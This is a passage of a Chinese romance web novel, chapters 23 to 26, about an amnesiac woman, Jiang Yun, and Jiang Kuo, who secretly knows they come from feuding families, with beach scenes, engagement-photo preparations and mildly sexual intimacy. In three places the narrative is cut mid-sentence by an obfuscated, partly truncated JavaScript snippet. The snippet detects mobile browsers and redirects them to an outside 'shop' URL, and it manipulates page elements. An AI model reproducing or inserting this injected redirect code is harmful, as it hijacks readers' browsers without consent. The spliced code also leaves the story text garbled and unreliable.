不过今早这杯拿铁好像加了点别的料。 “你感冒了?”他的声音听上去带着点鼻音。 江阔缓步走到桌前,放下早餐,整个身子都背对着她:“有点,快去洗漱吧,我等你。” 江云没有很在意,先去洗漱。 然而等回来看清坐在面前的人之后,她已经无心再去顾及这顿早饭了。 “你眼睛里怎么这么多红血丝?没睡好吗?” 江阔下意识垂眼,给她递了块馒头片。 又摇头:“不是,可能就是昨天累着了没缓过来,这个自己会消的。” “是吗?”江云半信半疑,明明他昨天还没有的。 可男人又笃定:“是,我没事,你别担心,等吃完早餐,我们一起去海滩装沙砾。” 他还没忘记这事。 注意力被转移,江云没有再多纠结他的眼睛和声音,唇边淌出期待的弧度,点头:“好!” …… 清新的热浪从看不见终点的远处缓缓扑过来,江云一手提着裙角,一手紧牵江阔,脚步兴奋往前冲。 沙砾在她幅度不算小的动作里钻了空子,一溜烟地滚入了鞋里。 “我们先弄一点靠近海水的沙。” 临近海浪,江云停下来,把鞋脱下来甩在一边。 “你把裤子卷起来,一会弄湿了。” 她接过他手里的玻璃瓶,不忘提醒江阔。 江阔照做。 湿润的深色沙砾很快有了两双脚印,江阔在江云想继续往前时把人拦住:“虽然是夏天,但海水很是凉的,我们就在这边上就好了。” 江云瞬间泄了气。 她是想去中间玩一玩的。 “就玩一会,没事的,咱们好不容易下一次海。”江云放软了语气,主动牵起江阔的手,仍然没放弃说动他。 江阔沉默了两秒,眸光里冒出几分纠结,明显迟疑。 江云持续发动进攻:“就一会,来都来了,不好好玩会多可惜?” 江云又搬出他们离回去的日子越来越近那套,说以后都不知道还会不会回来,仿佛真的错过了今天他们就永远也不会再有这样一天。 “不可能!”江阔乍然反驳,微沉的嗓音迅速从喉间挤出来,震得周遭的风有一瞬的停滞。 江云的眉眼跟着收敛了些,没想到他反应会这么大,握着他的手轻轻颤了颤。 可没两秒,江阔紧绷的神色骤然平阔,重新潋上熟悉的温和。 他笑了笑,解释:“我的意思是,还是我背着你往中间走,中间的水花急湍,你的伤又在腰上。” 江云松了口气。 不需要纠结,她自觉走到他身后,“那就看我老公能不能让我玩尽兴了?” 话音落下时,她一个弹跳起身,牢牢攀住他的后颈。 江阔自然抬手,稳稳托住她的双腿。 在她没注意到的海面,倒映出他微挑的唇角。 老公…… 对,她说的没错,江阔就是江云的老公! 他们谁都不是,他们就只是江云和江阔。 共享了天空湛蓝的海面惬意地浸在阳光里,大海像是感知到了他们,水花兴致盎然地往前冲,在江阔的□□穿破。 江阔弯下腰,稍微侧头对身后的女人道:“你伸手,应该能够到海面。” 江云早已经准备好,侩出手里的两个玻璃瓶,迎着扑过来的浪花,顺利接了两瓶清澈的海水。 “真的好凉!”浪花从她的手腕穿过,迎面打在她的脉搏处,稍许刺激的凉意沁入体内,江云下意识甩了甩手。 她突然庆幸江阔背着她。 “江阔,你冷不冷?我们还是去沙滩玩算了。” 他居然一声都不吭,自己好歹也是个伤员。 江阔突然停了下来。 他一动不动地望着前方。 他没有回答她的问题,只说:“云云,你看前面,很美。” 柔和的声音被清澈的海风吹进耳膜,江云顺着他的视线看过去,漆黑的瞳仁被前方余留的光线投入,狠狠一缩—— 海面延伸到了很远、很远的地方,他们看不到边际,只能看到一条模糊蔚蓝的界线。 界线上方,是万里无云的蔚蓝晴空,像是在主动往下倾斜,最终和广阔的海面相连。 海天一线。 天空和海面仿佛融在了一起,共享着色彩和波纹。 就连只悬在空中的太阳也倒映在了海面,分享独属于蔚蓝色的金耀。 江云的手臂不知不觉收紧,肘窝紧贴在江阔的颈动脉上,无意识地跟他分享了同频的心跳。 唇角本能地上扬,眼底在完全纳入前方那一整片海天之后,又悄然回移,落在了背着她的男人身上。 这样的美景是和他一起看的,似乎也很不错。 他们以后,应该也能一起看更多美景吧。 男人突出的眉骨和纤长的睫毛太过显眼,江云逐渐看入了迷。 视线也不再遮遮掩掩,她想看得清楚一些。 “江阔。”她在他耳边轻唤,气息洒在了他的黑色耳钉,卷起了一小层白雾。 男人转眸应了声。 “转过头,看着我。” 江阔依旧照做。 他的面目堪堪沉入她的眸光,五官顷刻在眼前放大。 不过江云提前闭了眼。 身体已经有了记忆,分毫不差地对上他的唇,轻轻吻了上去。 托住她双腿的大掌明显收紧。 男人的唇很凉,一点不像之前和她接吻那样温热。 或许是在海水里待久了。 江云想。 她干脆搂紧他,把自己的热气都渡给他。 她鲜少主动,不过早已熟知江阔最喜欢的方式。 浅尝辄止的吮吻后,她轻轻合紧牙齿,咬了咬他的唇肉。 他果然会意,唇线一分为二,让她有了探入的机会。 江阔的气息开始急促,瞬然融入她的鼻腔。 她的动作愈发大胆,略微强势地搅入他的领地,试图勾动他的热意。 一阵接一阵的海浪持续扫入腿间,江阔时不时颤动两下,和她纠缠的气息却半刻未断。 江阔进入了状态,熟练地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958119|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同她过招。 江云吻得愈发兴奋,双臂将他缠得更紧,喉间甚至无意识溢出暧昧的声响。 她自己都有些出乎意料。 耳根渐红,脸颊有些烫,可就是不舍得跟他分开。 等面红耳赤的交缠和声响淹没在海浪中,江云反倒有些不敢去看江阔。 她怕闷骚怪又说出什么话来。 暂时选择沉默。 可江阔却一改前态。 他直勾勾地望着她,突然说了句:“云云,我们就永远像现在这样,好不好?” 江云没听懂。 她抬眸,撞上他的视线时,心脏悄然抽动了一下。 “什么?”她等着他解释。 可江阔又收了目光,嘴边噙起她更看不懂的笑,说:“没什么,我们回海滩边装沙。” 清澈的玻璃瓶中一半被金黄的沙砾填满,泡在海水中,颜色又慢慢变深。 “真好看,我觉得这个到时候可以放在咱们家的客厅或者卧室里。” 江云把玻璃瓶对准太阳,上半部分的海水更加透亮。 她拍了拍江阔,示意他看过来。 江阔只嗯了一声。 江云对他的反应不是很满意。 按理来说恋爱脑不是应该兴奋一点吗?之前聊到他们的‘家’,他恨不得从基础设施说到细节摆件。 现在就单单的一个“嗯”。 “就没了?”江云利索转头,笑意瞬间凛在嘴边,眸中的光线消散,剩一片漆黑。 可在她的‘提醒’之后,他又很快给了她最满意的反应。 他往她身边靠近,从她手里拿过另外一个玻璃瓶,潋和的弧度在脸颊铺开,直抵那片琥珀海。 空出来的手自然而然揽过她的肩,他说:“放在卧室里最好,每天一醒来就能看到,这样…我们就永远不会忘记这段日子。” 这话好像没问题,又好像全是问题。 江云感觉他从昨天回来之后就格外强调‘永远’这个词。 是出去了一趟更舍不得离开这里了吗? 江云抿了抿唇,话语在喉头慢慢上涌,不过没能涌至嘴边,又被吞了下去—— 白白跑过来了。 它熟悉地撞进江云怀里,毛茸茸的白球兴奋摇晃。 “白白!” 江云已经轻车熟路,用它最舒服的方式揉捏它的后颈。 “以后我们家里也会有白白!”江云补充。 “真的吗?真的会吗?”江阔突然问。 江云蹙眉,不解反问:“不是你说的?你反悔了?” 男人神情透着几分不自然:“我没有,只是…只是担心你会不想要白白……” 江云嗤笑一声,又回去逗弄怀里的小狗。 她很坚决道:“怎么可能?咱们都说好会养它了。” 江阔噤了声。 白白在江云怀里久了,又自己跳了出来,两只小爪子刨着身边的沙,又朝着江云哼叫。 江云顺着看过去,湿润的沙滩上多了小狗爪的印记。 心口不自觉软了几分,江云拉着江阔一起:“江阔,我们来这印一双足迹,正好一家三口!” 江阔怔了怔,动作倒是十分配合。 海浪也很给面子没有扑散他们留下的足迹。 “这会要是有手机就好了,能拍下来,没准以后回去了还能做成相框。”江云哀叹,觉得这样有意义的时刻没能纪念下来也挺可惜。 江阔蹲在一边,欲言又止。 江云又继续:“不过以后肯定还会有机会的。” 她转头,黑色曜石般的瞳眸浸入惬意的光线。 “你说对吗?” 24. 23 江阔一时半会没能顶住她的视线,愣了几秒。 等反应过来之后,他受宠若惊般,从滚动的喉结中溢出不轻不重的一声笑。 紧随而至的,是他一贯肯定的语气。 似是觉得单单语气不够,他又重重点头,说:“肯定会的!” “只要你愿意,我们永远都会有机会做任何一件事!” 太阳不知不觉移了位,光线直直地打在了他身上。 江云‘嘁’了声,笑容却被难以忽视的光线穿透,灿烂耀眼。 她才反应过来,‘永远’是恋爱脑的新词汇。 他还是她熟悉的恋爱脑。 …… 下午江云和江阔被江晴带去了江醇的工作室试礼服。 带有很浓烈的民族特色。 江云穿着那身礼服出来的时候,江阔和江醇已经在外面等着了。 “晴晴,你穿这一身太漂亮了!”江醇看到江晴出来,几乎立刻就扑了上去。 江晴也喜欢听他夸,自然把手送进他伸过来的掌中。 两人站在一边腻歪。 江云穿这身衣服还有些不习惯。 白色的长袖衫外搭着暖黄色的坎肩,扣子整整齐齐地系好,衣摆几乎到大腿,下面是一条白色的长裤。 衣襟、袖口和肩头、裤脚都绣满了精致又繁复的刺绣。江晴说,这些刺绣都是萍姐和江醇的母亲一起绣的,绣图寓意繁多,饱含母亲对他们未来生活的美好祝愿。 她捏着衣角,慢慢往前。 视线意外和男人撞上的那一刻,她停了下来。 又垂下眼皮,避免和他对视。 心底莫名攀升起一股羞涩,江云低声清了清嗓。 双腿往前迈了一小步,又退了回来。 江云主动陷入了被动境地。 好在江阔足够‘自来熟’。 他揽入主动权,几个跨步到她跟前。 他穿的衣服比她的更简单一些,样式相似,刺绣没她衣服上的那么多,腰间还束了条白色腰带。 男人的声音在江云抬头的那一刻响起:“云云,很漂亮。” 下一秒,双手被他的温热包裹。 江云没说话,只有嘴角被突然吹进来的暖风牵动,缓慢上扬。 江晴和江醇带他们熟悉了一遍流程,其实也没有多复杂。 两家的亲戚都不多,他们只打算在最亲近的人面前完成这场简单的订婚仪式。 “你们需要做的也不复杂,只用保管我和江醇的定情信物,然后在双方父母的见证下交换就可以了。” 江晴说是让他们来做伴郎伴娘,其实更多是想让他们也体验一下这种重要时刻的喜悦,没准还能回忆起以前的事来。 “我有个朋友是干摄影的,他一会过来给我们先拍一组照片,你们要不要也一起?”江醇搂着江晴,胸口昂挺,满脸的意气风发。 “好啊,拍一组!”回答他的是江阔。 江云猛地转头,双眸微瞪,嘴唇动了动,话到嘴边又吞了回去。 江醇答应得也爽快:“行,那先去做个发型,江云,你和晴晴一起去后面房间化个妆,晴晴化得可好了。” 江云被江晴拉去了后面的房间。 “江云,你喜欢什么样的风格呀?”江晴拉开抽屉,露出一排排整齐摆放的化妆品。 不同品牌、品类的化妆品看得江云眼花缭乱,她沉吟片刻,说:“就普通的淡妆吧,不用很麻烦,口红颜色要最淡的那种。” “你喜欢伪素颜吗?我还以为你会喜欢红唇妆。” 江晴给她递了妆前乳。 江云瞬然摇头:“红唇太张扬、太严肃了。” “可你的唇型很漂亮,而且涂红唇肯定是气场全开的那种。” 打完底之后,江晴侧手拿了支口红,说:“这个是兰蔻去年的圣诞限定系列,296,有个挺特别的名字:上瘾红,我觉得你涂会很好看,要不要试试?” 暗红色的膏体转出来,独特的香味跟着飘出。 江云的唇下意识往内收了收。 江晴又继续道:“我嘴唇偏薄,每次涂感觉都差点意思,你就试试,让我饱饱眼福,好不好?” 江云抿起了唇,肩口又突然一松,接过了那支口红。 “好,那我就试一次啊。” 话音刚落,江晴如捣蒜般地点头,迅速拉过凳子在她身边坐下。 轻柔顺滑的膏体在唇上轻松留下了印记,江云的动作还算熟练,左手三两挥动,打完底再厚涂。 江云双眸上抬,目光却在凝到镜中的自己时错愕一滞—— 好陌生,却又好熟悉。 上瘾红? 她应该上不了瘾。 “真的气场全开啊江云!这颜色真适合你!”江云的思绪来不及往下延伸,江晴的声音已经率先冲进耳膜。 目光和江晴短暂交汇,江云轻轻扯唇,从旁边抽了卸妆棉。 “晴晴,我们弄完啦!”熟悉的声音从门外闯进来。 下一秒,镜子里多了两道人影。 卸妆棉还没来得及按在唇上,江云猝不及防对上镜中的眸子。 左手悬在了半空,忘了往上抬。 她嫌镜中看得不够真切,直接转头,迎面扑进温润的琥珀海。 心脏不安分地撞击胸壁。 他穿着那身衣服,还做了头发,饱满的额头露出来大半,眉眼带出来的冲击力更加明显。 她总算明白为什么发型对男人来说那么重要了。 肌肉牵动着嘴角上抬,江云撑着桌子边沿,有了起身的打算。 卸妆棉被她遗忘在了桌上。 双腿下意识想要往前迈,却又陡然被他眸中的细刺钉在了原地—— 江阔的眸色突然沉了下去。 江云一愣,脖颈稍微后缩,唇角也跟着僵硬。 好陌生的脸色。 温润的柔和完全探不到踪影,那一双平眉无故往内收,在额心挤出了几道带有几分慌乱的皱褶。 她突然觉得那双深褐色的眸很陌生。 “我们才开始呢,你们先在一边坐会吧。”是江晴的声音率先打破了即将凝滞的气氛。 江阔的眸子闪了闪,往她这边走过来。 “云、云云,你……” 他的语气里拖了一丝紧张。 她依然不懂。 直至他的眸光停在她的唇上。 江云恍然想起唇上尚且停留的冷红。 她本能地抬起手,重新抄起了被她遗忘的卸妆棉,抹去了唇上她不太喜欢的红色。 “刚刚试的一个颜色,好看吗?”她随口问。 江阔的面色又松懈下来。 熟悉的柔和回笼。 他笑了声,点头:“好看。” 江云没说话。 他刚刚的表情看起来不像是觉得好看的样子。 二十分钟后,江云和江晴已经捯饬完了。 重新换了浅色的口红,江云才觉得顺眼了很多。她果然更喜欢这种素面朝天的感觉。 不知道为什么,她身体本能的有一种感觉:红唇对于她来说不仅严肃,更像是一道枷锁,禁锢了她的自由。 转身时,江阔就站在她身后。 双眸恨不得长在她身上。 掌心再次滑进了熟悉的温热,五指顺势被扣紧,江阔说:“云云,这个颜色适合你,真的很漂亮。” 江云的眸子率先有了反应,扫过他那片重新亮起的琥珀海,又掠到他的唇角。她嘴边的弧度才不紧不慢地跟上节奏,推弯眉眼。 看来他也不喜欢那个红唇。 江阔又补充后半句没说完的话:“有一种…我和你也要结婚了的感觉。” 这句话出口时,江阔的语速也跟着变慢。 他低下了头。 江云轻嗤一声,想到了梦中的婚礼墙,和他紧扣的手晃了晃,说:“我们应该已经结过婚了,虽然不记得婚礼是什么样的。” 江阔仍然低着头,手掌也突然收紧。 “你怎么了?不舒服吗?”江云看不到他的脸色,只有掌心感受到的他沁出的一层湿意。 江阔身子一抖,被她的声音直接拉了回来,一副若无其事的模样摇头:“我是在想,既然不记得婚礼是什么样的,那我们要不要就在这里,办一个有特色的婚礼?哪怕只有我们两个人。” 他的嗓子像是被乱扫的吉他弦,荡出了发颤的尾音。 他好像很紧张,又很期待。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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被男人扣紧的手本能地往外推了推,小声道:“你看镜头啊。” 她的话音刚落,又是“咔擦”一声。 “这样对望也挺好看!”江晴又说。 江阔这才看向镜头。 江云的脑袋机械性地挪回来,耳尖微微发烫。 是被那片琥珀海底藏着的岩浆灼烫的。 江云轻轻抿唇,口红自带的香气溜上舌尖,大脑隐隐混沌。 他竟这样开心吗? 很快,江云又笑了。 她还没忘,他是个恋爱脑。 他们又去了那棵树旁边。 江云和江阔刚站稳,熟悉的白白已经跑过来,照旧往江云身上扑。 江晴头一回见到这只狗,稍稍诧异,听江云解释过后,又建议:“你们要不和它一起拍一张?” “这个好!”江云抱着白白,征求江阔的意见。 上午海滩边的脚印他们就没能拍下来,这一次可不能再错过。 “我们一起抱着,这样才像一家三口。”江阔自然不会反对。 小狗也像是知道要拍照,在江云跟江阔一起托起它时,它直勾勾地望着前方,吐出小粉舌,露出一个若有似无的笑。 快门按下的瞬间,江云终于圆梦了。 太阳渐渐下移,海面的金钻少了大半,逐渐汇成一条金线,慢慢暗淡。 他们几个人也拍累了,干脆坐在海滩的石头上赏落日。 “这样好的景色又要落幕了,不知道明天再醒来,它又会是怎样的。”海浪翻涌拍起的水花陡然失声,被江阔的声音取代。 江云还靠在他的肩头,她没动,唇缓缓启合,沾了些许疲累的嗓音很轻:“明天当然还是这样美。” 这么多天他们在这里,几乎每天都能见到这样的美景。 “对,咱们这一年四季几乎都是这样。”江晴附和。 这一次江阔没有再说话,只一再扣紧主动牵他的手。 他也希望,这样的美景年年如此、永不落幕。 25. 24 晚饭江云是和萍姐他们一起吃的。 江醇的二伯也过来了,说是和萍姐商讨两个孩子订婚的细节。 江云只看了男人一眼。 男人依旧穿的背心、短裤,结实有力的腱子肉依然吸睛,却远没有之前那样让人生怯。男人一双眼睛只顾盯着萍姐,说话都是温温柔柔的,生怕有一个音节吐重。 餐桌上的气氛很好,停留在舌尖的酸甜也是她最喜欢的。 傍晚的江渔村没有吵闹的喧嚣、没有冷肃的高楼,只有缱绻的晚风,和桌上诱人的饭香。 身边人的温度和气息被海风吹进鼻腔,从嗅觉细胞到神经中枢,将她占据个遍。 江云咀嚼饭粒的动作不自觉加快,嘴唇浅浅勾了勾。 晚饭之后,他们先回了房间。 或许是有蜜饯习惯了,也或许是江云认命了,那碗中药端至她面前时,她已经没有了任何反应。 “我感觉过不了两天,我这伤就能好了。” 几乎动了一天,她也没有很不舒服的感觉。 被江阔捏着的勺子突然掉在碗里,撞出一声脆响,殃及深褐的药液,细断的药珠飞溅,砸向江阔的虎口和手背。 “小心点,我喝药也不急,你别烫到了。”江云坐直身子,抽了张纸给江阔擦手。 江阔把纸团揉进掌心,重新舀了一勺药送到她唇边:“养伤得细心些,不能着急。” 江云挑了块芒果干,点了点头。 只是等酸甜入喉,她又撑着脑袋道:“就是感觉休息太久了,都不知道工作现在是怎么个事呢,而且家里人也会担心,都不知道他们现在怎么样了。” 江阔没接话,又喂了勺药过来。 “手机没办法修好的话,还真的就只能去公安局验DNA做失踪人口匹配等消息了。” 江阔依然沉默。 江云没在意,继续自顾自道:“不过咱们什么信息都不知道,连个身份证都没有,就算去了公安局也难以立案吧?这找到家得多难啊。” 她只随口一慨,反正再怎么难,他们也得去试,总比干等着强吧。 江云正准备喝下一口药,却突然发现勺子里深褐色的液体颤得厉害。 她侧眸,空出来的手扶稳江阔,无心再去想立案的事,问:“怎么了?哪儿不舒服吗?要不还是我自己来吧。” 江云使力试图抽过来他手里的药,却明显遇到阻力。 “没事,我来。” 江阔没答应她,解释说手抖只是肌肉下意识的抽搐。 江云半信半疑。 她还是觉得他今天有些奇怪。 他好像有些紧绷,没有完全放松下来。 还是因为昨天出去之后的劲儿没缓回来? 那今天还是让他早些休息的好。 江云咬完了最后一口蜜饯,药也喝完了。 江阔却直接走了。 “……江阔。” 江云下意识叫住他。 男人的身子抖了抖,转身,语气还算轻松:“怎么了?” “你今天…不计数了?” 他不是最在乎她还欠他多少个‘蜜饯’吗? 可问出口后,江云又有点后悔。 她暗暗咬舌,不是之前都想好了这种事让江阔主动吗? 她急切地收回目光,两手稍稍无措,干脆又拿了颗蜜饯送进嘴里。 酸溜溜的甜意刚从舌尖化开,男人熟悉的腔调折返。 他轻笑:“现在是13个了,加上前面几天,一共71个。” 江云咀嚼的动作一停。 男人又继续:“等着我,洗漱完,我就来找你清算。” “……” 江云更后悔问出口了。 事实证明,还是她想多了。 他可能真的就是太累了而已。 …… 淮北市,恒璟集团大楼。 傅淮湛坐在并不熟悉的工位,看着桌上并不熟悉的布置,眼皮微垂,掩盖了大半眸光。 他做这些事情,的确远不及她。 那个比他小了6岁的女人,那个在爷爷心里是最优秀的继承者的女人。 作为哥哥,他也根本没有做好她的保护壳,在她最应该自由自在的那年,把手里的重任丢给了她。 不过幸好,她是天生的胜者,她能轻易做好这一切。 百米长空下的鸣笛声穿透落地窗,傅淮湛侧眸瞟了眼身后。 夜幕被几十栋大楼的霓虹照亮,只有一弯弦月与这座城市的夜晚格格不入,孤独地悬在天幕之中。 他转回身,沉沉地叹了口气。 左手抄起了立在桌上的相框,里头是她的一张生活照。 一向束在脑后的长发披散,素面朝天,一身最简单的米黄色长裙,对着镜头肆意地笑了出来。 她已经是傅淮湛见过的女人里,第二漂亮的那个。 他们明明是同父同母的亲兄妹,性格、长相与人生方向却截然不同。 她一直都受人偏爱,不仅是人,这张照片里,就连阳光都偏爱她,肆意地照耀她一个人。 男人的指腹下意识地按在她的发尾,一双眸子看得出神。 长空的鸣笛回荡了好几次,弦月躲进了云层后。 傅淮湛又自言自语:“珺珺,你千万不要有事。” 他不想再失去一个生命中重要的女人。 也不想接管恒璟、不想被爷爷操控、不想坐上这个不属于他的位置。 眼前突然有些模糊,办公室里冷白的光都出现重影。 蓦地一声震响,办公室的门被撞开了。 傅淮湛的助理连门都忘了敲,急匆匆地拿着平板进来:“傅总!我找到傅小姐的位置了!她的手机开机了!” …… 今晚的‘清算’,江云感觉很不一样。 江阔有一种‘箭在弦上,势必要发’的冲劲。 窗户和门都挡住了外面的一切喧嚣和光线,屋内的灯也关了。房间里的一切都看不太清,江云半睁开眼,眼前一团浓雾弥漫,她只能看到他的轮廓,还有他不断往她体内输注的气息。 她被他抱坐在腿上,大腿根死死抵在他的胯部,她再往前一些,角度就相当刁钻了。 结实的手臂稳稳托在她身后,避开了她伤口的位置。手肘往上,掌心恰好勾住她的后颈。 男人的薄唇微张,吸搅了她口腔里留下的余甜,却仍觉得不够,在每一个角落都仔细尝尽。 江云觉得舌头隐隐发麻。 偏偏在这个时候,江阔开始往后退。没了已经习惯的吸吮,她甚至不需要大脑控制,身体本能地往前追上去,将自己渡入他的唇中。 战地换了位置,新鲜感又重新燃起,江云哪里还顾得上舌头麻不麻,双臂攀紧他的肩口,五指慢慢往里收,快要透过衣衫掐进他的皮肉。 他们依旧喜欢这样熟悉的招式。 可今天又有些不同。 尤其是在江云吻得正入迷的时候,单薄的衣衫中突然闯进熟悉的温热,带着强烈的颤意。 下一秒,江云的心脏狠狠一紧。 江阔头一回这样莽撞。 “唔……” 喉间漫出的轻吟被江阔不偏不倚地吞入了腹中。 半睁的眸子瞬间瞪大,男人还闭着眼沉浸其中。她本能地后缩,却被身后的手臂抵挡,两力交汇作用后,她又被弹了回去,深深嵌进了他的五指。 这一下后,江云抵抗的气力全消,热意从耳根开始蔓延,烫到了整个脖颈。 好奇怪。 这种感觉。 但……大脑好像更加兴奋地往外分泌着多巴胺和内啡肽。 不够。 她开始觉得不够。 他已经尝到了“甜头”,可她还没有。 嗓间哼吟出声,她想说话。 可言语都被堵在了唇间。 那天江阔怎么说的来着? 爱不是说出来的…… 她主动将他的气息渡进喉中,急切地往下咽,身体往前靠近,江阔的腿跟着弓起,那个最刁钻的角度恰好在两人默契的挪动间成型。 她狠狠一颤。 身体里涌出她稍微陌生的感觉,不过江云没有一丝怯意,反而冒出期待。 即便全身羞得发红、发烫,她也没有停下来的打算。 她知道江阔也没有。 虽说她失忆了,可有些东西,她并不是不知道那是什么。 江云又确定了些。 她和江阔一定是夫妻。 这样的身体本能,她再也无法怀疑。 如果他再问她一次昨晚突然问的那句话。 她或许会给他答案。 不满于她没尝到“甜头”,江云准备动手。 可刚碰到江阔的衣角,她原本瞪大的双眼恰好再次掉进那片深沉、染了浓浓气雾的琥珀海中。 抓紧衣角的动作有一瞬的停顿,但仅仅一瞬。 她最终没有任何犹豫。 先是他锻炼得恰到好处的腹肌。 还不够。 再是同样恰到好处的胸肌。 还是不够。 掌心按在了她看不见的地方。 她终于满意。 这样……他们才算是平等了。 双唇交叠。 江阔还在看她。 但她看不太清他的神色,只知道他和她一样。 江云隐隐预感。 夜色被海浪侵袭,打碎了往日的静谧。 她不介意。 于是开始挑衅他。 她双眸眯起。 男人眉心微动。 她又刻意挑眉,衅意中含着自然流出的笑。 她开始使用战略,有了以退为进的打算。 她先退。 江阔还没动静。 江云以为他要等她退完。 可胸口却骤然一松。 温热跟着消失。 江云的动作怔住。 江阔松了唇。 “……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“云云,今晚是我没把控好,我只是想让一切都发生得郑重些,而且你身上的伤还没好彻底。” 说到这里时,他的掌心盖在了她的小腹。 下一秒,又变回了她最熟悉的嗓音:“等回城之后,如果你还想要我,我肯定义无反顾。” “……” “毕竟你还欠我71个吻和71次。”他贴近她的耳垂,暧昧地说完最后一句。 “……” 江云的教训还是长少了。 她应该每次都选择闭嘴的。 “你放心,和你做这种事,我是不会嫌次数多的。”他还在继续。 话语刚撞上耳膜的那一刻,江云浑身跟爬了刺猬似的,铆着力侧过身,故意忽略他的撩拨。 “好了好了,我困了!睡觉!” 一双眼睑紧紧嵌合,生怕江阔还打算继续下去。 好在江阔并没有继续。 只是江云不知道,在她没有看见的昏暗中,江阔的眸色一直低沉。 没有半点喜色。 从他躲避她的视线开始,说出的每一句话都是刻意为之。 的确,他今天的情绪很不稳定。 每一次都没有把控好。 尤其是在那面再清晰不过的镜子里,看到了那个并不熟悉的她。 有一瞬,她是跟那张他不愿再看的照片中的人影重合的。 他当时慌了几秒神,以为她想起来了什么事。 喝药的时候,她说担心自己的工作,也担心家里人。 她想离开。 他不知道自己还能把她留多久。 他承认,他生出了最卑劣的想法。 他想把生米煮成熟饭。 他想就这样占有她。 他想让他们彻底属于彼此。 触碰到那些陌生的美好时,他的理智也差点断线,尤其是她用着同样的方式回击时,他险些完全沉陷。 可思绪又不自觉地想到了那些还没能从他脑中挥走的信息—— 他们原本的身份,是家族对立的仇人。 如果他今晚真的直接做到最后一步,他们或许也就真的到了爱恨都无法彻底的地步。 到时候,她万一恢复记忆,她又会不会更难做? 她知道真相后,如果是想离开他的,她会不会因为这一时的欢愉更恨他?他们之间会不会更难堪? 理智最后还是战胜了欲念。 江阔看着身侧已经入睡的女人,平眉稍稍下撇。 一贯温柔的眼眸中漫出了朦胧的白雾。 气息缓缓凝滞,心口蔓延起牵扯感强烈的疼痛。 所有的感觉汇聚成一个点,又乍然消散。 他的胸口往下一沉,双臂收紧,肌肤密不可分地贴在熟悉的位置。 喉结不安地滚动,唇边溢出声音很低的一句话:“云云,我…不想和你分开。” 手肘上抬,掌心恰好落在她的颈前,江阔骤然摸到熟悉的竹音哨。 刚闭上的眸子又重新睁开。 江阔猛地捏起竹音哨,手腕狠狠抖了两下。 26. 25 平眉蹙紧,他盯着尾端的那个字母‘y’看了好久,又挪回到自己的竹音哨上。 他才意识到这个不合理的问题: 他们是仇人,那这竹音哨又是从哪里来的? 傅珺瑶。 沈述白。 竹音哨上刻的字母是能跟他们名字对上的。 他们为什么会有这样的定情信物? 江阔的目光回到床上的女人。 只一眼,感觉依旧强烈。 蓦地,江阔的脑海中闪出一种可能—— 他们有定情信物,又是同时出事,被发现的时候他还紧紧牵着她的手。 那会不会,他们偷偷在一起了? 可这个念头很快被打消。 他清楚地记得,他微信的整个通讯录里都没有她。 如果他们真的偷偷在一起,不可能没有加微信。 那这个竹音哨到底从何而来? 手里的力度不自觉加深,江阔凝眸想得出神。 可很快,身侧的人似乎感觉到脖颈间不是很舒服,抬手推开了缠在颈前的束缚。 江阔的手本能松开,竹音哨闷闷地掉回了江云的脖颈。 江阔轻手迅速扶稳。 就是这一碰,他也不知道触到了什么地方,竹音哨的第二段竹节缝突然裂开。 第一段竹节又像是软了力,直直地往后翻倒。 出现在眼前陌生的狭小空间带着莫名的吸力,将他的视线紧紧粘黏,瞳仁猛地一缩。 这是什么? 江阔盯着中间凹陷下去的那块。 半圆的凹陷缺失了能够嵌合的主体,只堪堪能和翻倒下去那段的凹陷连成一个完整的圆。 怪不得这竹音哨吹不响。 这里原本放的是什么? 指腹在圆滑的暖玉上来回摩挲,视线从里到外地扫视完全。 江阔把翻开的竹音哨轻轻放回江云颈前,保持着原有的姿态。 又迅速看回自己的竹音哨。 指甲嵌进前两段竹节的缝隙,把第一段用力一掰。 他的竹音哨也掰开了。 意料之中的,是和江云一模一样的构造,也同样缺失了能够嵌合的主体。 这么小,又是圆的。 药丸? 江阔拧眉。 可什么药丸需要这样掩人耳目? 他们又为什么需要药丸? 他们是吃了还是没吃? 江阔满腹疑惑。 脑子里根本想不起来任何事。 他陡然抬头看向衣柜,想起里头隐藏的‘外援’。 竹音哨被他还原成了原本的模样,江阔缓慢坐起身,准备下床。 然而他连脚都没来得及迈出去,腰上突然攀进一条胳膊。 纤长的五指扣住了他的腰窝。 女人嘴边吐出一声呢喃:“江阔……” 半悬空的腰腹又躺平回去。 江阔顺势抱紧了女人。 手臂重新枕在她颈后,大掌慢慢安抚她继续睡熟。 他无心再去想‘外援’。 还是明天再说吧,现在她要紧。 …… 江云早上醒来看到身旁还在的人影时,稍稍诧异。 江阔居然还没醒。 不过很快,大脑又下意识转了念想—— 他昨天就累得反常,确实该多休息会。 江云没叫醒他。 颈下还是他坚实的肌肉,眼前就是他尚在沉睡中的模样。 她好像还没在醒来的清晨这样看过他。 不知道以前在家的时候有没有。 他的头发又恢复了原样,细碎的刘海挡住了大半额头,也遮住了完整的双眉。 江云凑近了些。 嘴唇不自觉弯起。 他还是太有姿色了。 双眸很轻易便得到了满足。 江云心底突然生出些急切。 想快点记起从前,或者快点知道以前的事,想要用过去的记忆填补她尚且缺失的那份情感,想知道她爱他的方式。 她爱一个人,到底是怎样的? 除了‘身体本能’的感知,她还会做什么? 